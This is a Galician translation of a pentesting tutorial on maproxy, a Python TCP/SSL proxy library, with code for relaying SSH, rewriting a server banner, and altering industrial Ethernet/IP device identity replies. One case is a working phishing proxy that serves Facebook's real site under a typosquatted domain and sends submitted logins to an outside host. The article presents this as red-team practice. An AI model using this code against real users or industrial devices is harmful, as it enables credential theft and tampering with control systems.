Procesar datos da rede sobre a marcha

A tradución do artigo preparouse na véspera do comezo do curso "Pentest. Práctica de proba de penetración".

Procesar datos da rede sobre a marcha

anotación

Unha variedade de tipos de avaliacións de seguridade, que van desde probas de penetración regulares e operacións do Red Team ata piratear dispositivos IoT/ICS e SCADA, implican traballar con protocolos de rede binarios, é dicir, esencialmente interceptar e modificar os datos da rede entre o cliente e o destino. Detectar o tráfico da rede non é unha tarefa difícil xa que temos ferramentas como Wireshark, Tcpdump ou Scapy, pero a modificación parece ser unha tarefa máis laboriosa xa que necesitaremos ter algún tipo de interface para ler os datos da rede, filtralos, cambialos. sobre a marcha e envialo de volta ao host de destino en tempo case real. Ademais, sería ideal que tal ferramenta puidese funcionar automaticamente con varias conexións paralelas e ser personalizable mediante scripts.

Un día descubrín unha ferramenta chamada maproxy, a documentación axiña deixoume claro que maproxy - Só o que necesito. Este é un proxy TCP bastante sinxelo, versátil e facilmente configurable. Probei esta ferramenta en varias aplicacións bastante complexas, incluíndo dispositivos ICS (que xeran moitos paquetes) para ver se podía manexar moitas conexións paralelas, e a ferramenta funcionou ben.

Este artigo presentarache como procesar datos de rede sobre a marcha usando maproxy.

Comentar

Ferramenta maproxy está baseado en Tornado, un marco de rede asincrónico popular e maduro en Python.

En xeral, pode funcionar en varios modos:

  • TCP:TCP – conexións TCP sen cifrar;
  • TCP:SSL и SSL:TCP - con cifrado unidireccional;
  • SSL:SSL - cifrado bidireccional.

Vén como unha biblioteca. Para comezar rápido, pode usar ficheiros de exemplo que reflictan o principal funcións da biblioteca:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Caso 1: proxy bidireccional simple

Baseado en tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Por defecto ProxyServer() toma dous argumentos: a localización da conexión e o porto de destino. server.listen() toma un argumento: o porto para escoitar a conexión entrante.

Execución do script:

# python tcp2tcp.py

Para executar a proba, imos conectarnos a un servidor SSH local a través do noso script proxy, que escoita 2222/tcp porto e conéctase a un porto estándar 22/tcp Servidores SSH:

Procesar datos da rede sobre a marcha

O banner de benvida infórmache de que o noso script de exemplo enviou correctamente o tráfico de rede por proxy.

Caso 2: modificación de datos

Outro script de demostración logging_proxy.py ideal para interactuar cos datos da rede. Os comentarios do ficheiro describen os métodos de clase que pode modificar para acadar o seu obxectivo:

Procesar datos da rede sobre a marcha

O máis interesante está aquí:

  • on_c2p_done_read – para interceptar datos ao longo do camiño do cliente ao servidor;
  • on_p2s_done_read - invertida.

Tentemos cambiar o banner SSH que o servidor devolve ao cliente:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Executar o script:

Procesar datos da rede sobre a marcha

Como podes ver, o cliente foi enganado porque se cambiou o nome do servidor SSH para el «DumnySSH».

Procesar datos da rede sobre a marcha

Caso 3: páxina web de phishing simple

Hai infinitas formas de usar esta ferramenta. Esta vez centrámonos en algo máis práctico desde o lado das operacións do Equipo Vermello. Imitemos a páxina de destino m.facebook.com e usa un dominio personalizado cun erro tipográfico deliberado, por exemplo, m.facebok.com. Para fins de demostración, supoñamos que o dominio está rexistrado por nós.

Imos establecer unha conexión de rede sen cifrar co proxy das nosas vítimas e SSL Stream ao servidor de Facebook (31.13.81.36). Para que este exemplo funcione, necesitamos substituír a cabeceira do servidor HTTP e inxectar o nome de host correcto, e tamén desactivaremos a compresión de respostas para que poidamos acceder facilmente aos contidos. Finalmente substituiremos o formulario HTML para que nos envíen as credenciais de inicio de sesión en lugar dos servidores de Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/gl/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

En resumo:

Procesar datos da rede sobre a marcha

Como podes ver, puidemos substituír con éxito o sitio orixinal.

Caso 4: Portada Ethernet/IP

Levo moito tempo lidando con dispositivos e software industriais (ICS/SCADA), como controladores programables (PLC), módulos de E/S, unidades, relés, contornos de programación de escaleiras e moitos máis. Este caso é para os que lles gustan as cousas industriais. Hackear tales solucións implica xogar activamente cos protocolos de rede. No seguinte exemplo, gustaríame mostrar como pode modificar o tráfico de rede ICS/SCADA.

Para iso necesitarás o seguinte:

  • Sniffer de rede, por exemplo, Wireshark;
  • Ethernet/IP ou só un dispositivo SIP, podes atopalo usando o servizo Shodan;
  • O noso guión está baseado maproxy.

En primeiro lugar, vexamos como é unha resposta de identificación típica do CIP (Common Industrial Protocol):

Procesar datos da rede sobre a marcha

A identificación do dispositivo realízase mediante o protocolo Ethernet/IP, que é unha versión mellorada do protocolo Ethernet industrial que engloba protocolos de control como CIP. Imos cambiar o nome de ID resaltado que está visible na captura de pantalla "NI-IndComm para Ethernet" usando o noso script proxy. Poderíamos reutilizar o guión logging_proxy.py e de igual xeito modificar o método da clase on_p2s_done_read, porque queremos que un nome de identidade diferente estea visible no cliente.

Código:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Esencialmente, pedimos a identificación do dispositivo dúas veces, a segunda resposta foi a orixinal e a primeira modificouse sobre a marcha.

E o último

Na miña opinión maproxy Unha ferramenta cómoda e sinxela, que tamén está escrita en Python, polo que creo que ti tamén podes beneficiarte de usala. Por suposto, existen ferramentas máis complexas para procesar e modificar datos de rede, pero tamén requiren máis atención e adoitan crearse para un caso de uso específico, p. muraena, Modlishka ou malvado para casos similares ao terceiro, ou sofá para o último caso. Dun xeito ou doutro, coa axuda maproxy pode implementar rapidamente as súas ideas para interceptar datos da rede, xa que os scripts de exemplo son moi claros.

Probando mecanismos de autenticación en Windows AD

Fonte: www.habr.com

Engadir un comentario